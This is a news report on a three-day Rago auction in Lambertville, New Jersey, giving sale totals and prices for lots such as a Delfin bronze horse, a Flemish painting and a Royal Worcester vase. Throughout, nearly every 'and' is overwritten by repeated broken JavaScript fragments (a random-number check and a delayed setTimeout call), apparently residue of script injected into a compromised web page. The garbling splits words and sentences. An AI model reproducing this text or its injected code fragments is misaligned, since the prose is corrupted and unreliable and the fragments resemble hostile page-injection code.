LAMBERTVILLE, N.J. — Rago Arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Auction Center’s sale September 20–22 resulted in total sales of $1,625,484. The top lot in Sunday’s Great Estates sale was a life-sized bronze sculpture of a horse by Victor Delfin, which sold for $32,500.

“Each Great Estates auction is a new cabinet of curiosities. This auction’s cabinet had a lot to recommend it, from arms andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and armor to Asian artifacts, fine art to Royal Worcester, Elizabethan furniture to books andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and ephemera. We had robust bidding on all but a few lots andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and hammered far above the low estimate,” said Tom Martin, who directs the Great Estates auctions.

A collection of arms andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and armor from Claude Offrey Jr., kicked off the Great Estates sale, exceeding the high estimate by 30 percent. The George Gallup Collection of Elizabethan furnishings, portraits andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and other notable property beat its mean estimate by 23 percent.

Much interest was seen in books, including several first editions, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a Nineteenth Century handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and illuminated Koran, which brought $10,000. Overall, books surpassed their high estimate by 28 percent. Coins andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and currency also performed well, exceeding the high estimate by 11 percent.

Some of the strongest results in the auction were achieved in the fine art category: a Flemish school painting was the second-highest selling lot when it sold for $23,750 followed by a Susan Catherine Moore Waters oil on canvas of a cat watching squirrels that fetched $16,250. A Jean Jacques Feuchere bronze sculpture of a Satanic figure brought $21,250.

Among decorative arts was a choice Harry Davis for Royal Worcester two handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andled, lidded vase that went out at $15,000 against an estimate of $3/5,000. A Chinese altar table saw spirited bidding, much of it by a Chinese clientele, finally bringing $22,500 against its $500/700 estimate. The D.W. Griffith “Birth of a Nation” statuette brought $8,750, with phone bidding from antique shop owners, filmmakers andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and private collectors.

Rounding out the session were a Tiffany & Co. billiard clock at $18,750, an English plate mail armor, Seventeenth–Eighteenth Century, at $13,750, an Elizabethan four-poster bed at  $10,000 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a Vienna bronze Orientalist lamp going out at $9,375.

Leading Friday’s session, which accounted for $239,531 in the sale from just over 620 lots, was an Asian decorative group  selling at $6,875. Other highlights included a Gustav Stickley dresser for $4,688, an Aesthetic Movement chandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andelier at $3,250, a George Ohr teacup andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and vase for $3,125 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a RCA Victrola at $2,125.

Saturday’s session totaled $435,009 for the 732 lots offered. Top lots included Mon Levinson’s  “Three Stacked Circles,” which fetched $8,125 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Kurt Weiser’s ceramic charger at $2,125.

Midcentury Modern furniture was plentiful, led by a Paul Evans Directional Cityscape cabinet at $6,875, a Finn Juhl, Niels Vodder, Judas dining table for $6,875, George Nakashima’s Mira chair at $4,375 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a Mastercraft pair of illuminated vitrines for $3,500.

All prices reported include the buyer’s premium.

Rago Auctions will hold its next Great Estates Auction December 7 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a discovery auction January 17–18.

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